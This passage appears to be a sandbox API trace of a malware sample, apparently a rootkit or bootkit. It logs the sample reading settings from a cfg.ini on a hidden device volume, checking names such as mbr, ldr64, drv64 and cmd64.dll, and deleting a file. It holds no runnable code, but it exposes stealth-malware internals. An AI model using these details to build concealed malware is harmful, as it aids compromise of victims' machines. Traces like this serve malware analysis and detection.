_MaxCount=0x10) returned 0 [0124.272] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.272] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.272] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.272] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.272] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf03f0 [0124.272] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.272] KeLeaveCriticalRegion () [0124.272] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.272] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.272] KeEnterCriticalRegion () [0124.272] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.272] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.272] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.272] KeLeaveCriticalRegion () [0124.272] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.273] KeEnterCriticalRegion () [0124.273] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.273] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.273] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.273] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.273] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.273] IdePortDispatch () returned 0x103 [0124.273] KeWaitForMutexObject () returned 0x0 [0124.273] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.273] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.273] KeLeaveCriticalRegion () [0124.273] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.273] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.273] KeEnterCriticalRegion () [0124.273] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.273] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003526000 [0124.273] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.273] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.273] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.273] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.273] IdePortDispatch () returned 0x103 [0124.273] KeWaitForMutexObject () returned 0x0 [0124.273] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.273] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.273] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.273] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.273] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.273] IdePortDispatch () returned 0x103 [0124.273] KeWaitForMutexObject () returned 0x0 [0124.274] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.274] KeLeaveCriticalRegion () [0124.274] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.274] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.274] KeEnterCriticalRegion () [0124.274] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.274] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.274] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.274] KeLeaveCriticalRegion () [0124.274] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.274] KeEnterCriticalRegion () [0124.274] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.274] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.274] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf04b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.274] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.274] KeLeaveCriticalRegion () [0124.274] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.274] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.274] KeEnterCriticalRegion () [0124.274] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.274] ExFreePoolWithTag (P=0xfffffa8003bf03f0, Tag=0x0) [0124.274] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.274] KeLeaveCriticalRegion () [0124.274] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.275] ReleaseMutex (hMutex=0xf0) returned 1 [0124.275] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.275] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.275] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.275] KeEnterCriticalRegion () [0124.275] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.275] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.275] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.275] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.275] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.275] IdePortDispatch () returned 0x103 [0124.275] KeWaitForMutexObject () returned 0x0 [0124.275] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.275] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.275] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.275] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.275] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.275] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf09a0 [0124.275] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.275] KeLeaveCriticalRegion () [0124.275] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.275] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.275] KeEnterCriticalRegion () [0124.275] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.275] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.275] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.275] KeLeaveCriticalRegion () [0124.275] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.275] KeEnterCriticalRegion () [0124.275] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.275] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.275] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.275] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.275] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.275] IdePortDispatch () returned 0x103 [0124.276] KeWaitForMutexObject () returned 0x0 [0124.276] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.276] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.276] KeLeaveCriticalRegion () [0124.276] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.276] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.276] KeEnterCriticalRegion () [0124.276] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.276] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003527000 [0124.276] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.276] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.276] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.276] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.276] IdePortDispatch () returned 0x103 [0124.276] KeWaitForMutexObject () returned 0x0 [0124.276] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.276] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.276] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.276] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.276] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.276] IdePortDispatch () returned 0x103 [0124.276] KeWaitForMutexObject () returned 0x0 [0124.276] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.276] KeLeaveCriticalRegion () [0124.277] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.277] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.277] KeEnterCriticalRegion () [0124.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.277] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.277] KeLeaveCriticalRegion () [0124.277] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.277] KeEnterCriticalRegion () [0124.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.277] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.277] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.277] KeLeaveCriticalRegion () [0124.277] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.277] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.277] KeEnterCriticalRegion () [0124.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.277] ExFreePoolWithTag (P=0xfffffa8003bf09a0, Tag=0x0) [0124.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.277] KeLeaveCriticalRegion () [0124.277] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.277] ReleaseMutex (hMutex=0xf0) returned 1 [0124.277] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.277] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.277] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.277] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.278] KeEnterCriticalRegion () [0124.278] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.278] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.278] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.278] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.278] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.278] IdePortDispatch () returned 0x103 [0124.278] KeWaitForMutexObject () returned 0x0 [0124.278] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.278] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.278] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.278] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.278] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.278] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.278] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.278] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.278] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.278] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.278] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.278] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.278] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.278] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.278] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.278] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.278] KeLeaveCriticalRegion () [0124.278] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.278] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.278] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.278] KeEnterCriticalRegion () [0124.278] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.278] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.278] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.278] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.278] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.278] IdePortDispatch () returned 0x103 [0124.278] KeWaitForMutexObject () returned 0x0 [0124.279] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.279] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.279] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.279] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.279] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.279] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.279] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.279] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.279] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.279] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.279] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.279] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.279] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.279] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.279] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.279] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.279] KeLeaveCriticalRegion () [0124.279] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.279] ReleaseMutex (hMutex=0x100) returned 1 [0124.279] Sleep (dwMilliseconds=0x2bf20) [0124.286] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d468270, dwHighDateTime=0x1d24fa4)) [0124.286] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.286] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.286] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.286] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.286] KeEnterCriticalRegion () [0124.286] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.286] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.286] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.286] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.286] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.286] IdePortDispatch () returned 0x103 [0124.287] KeWaitForMutexObject () returned 0x0 [0124.287] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.287] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.287] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.287] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.287] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.287] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80038262d0 [0124.287] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.287] KeLeaveCriticalRegion () [0124.287] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.287] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.287] KeEnterCriticalRegion () [0124.287] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.287] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.287] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.287] KeLeaveCriticalRegion () [0124.287] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.287] KeEnterCriticalRegion () [0124.287] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.287] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.287] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.287] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.287] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.287] IdePortDispatch () returned 0x103 [0124.287] KeWaitForMutexObject () returned 0x0 [0124.287] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.287] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.287] KeLeaveCriticalRegion () [0124.287] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.288] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.288] KeEnterCriticalRegion () [0124.288] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.288] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800352a000 [0124.288] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.288] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.288] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.288] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.288] IdePortDispatch () returned 0x103 [0124.288] KeWaitForMutexObject () returned 0x0 [0124.288] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.288] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.288] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.288] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.288] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.288] IdePortDispatch () returned 0x103 [0124.288] KeWaitForMutexObject () returned 0x0 [0124.288] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.288] KeLeaveCriticalRegion () [0124.288] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.289] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 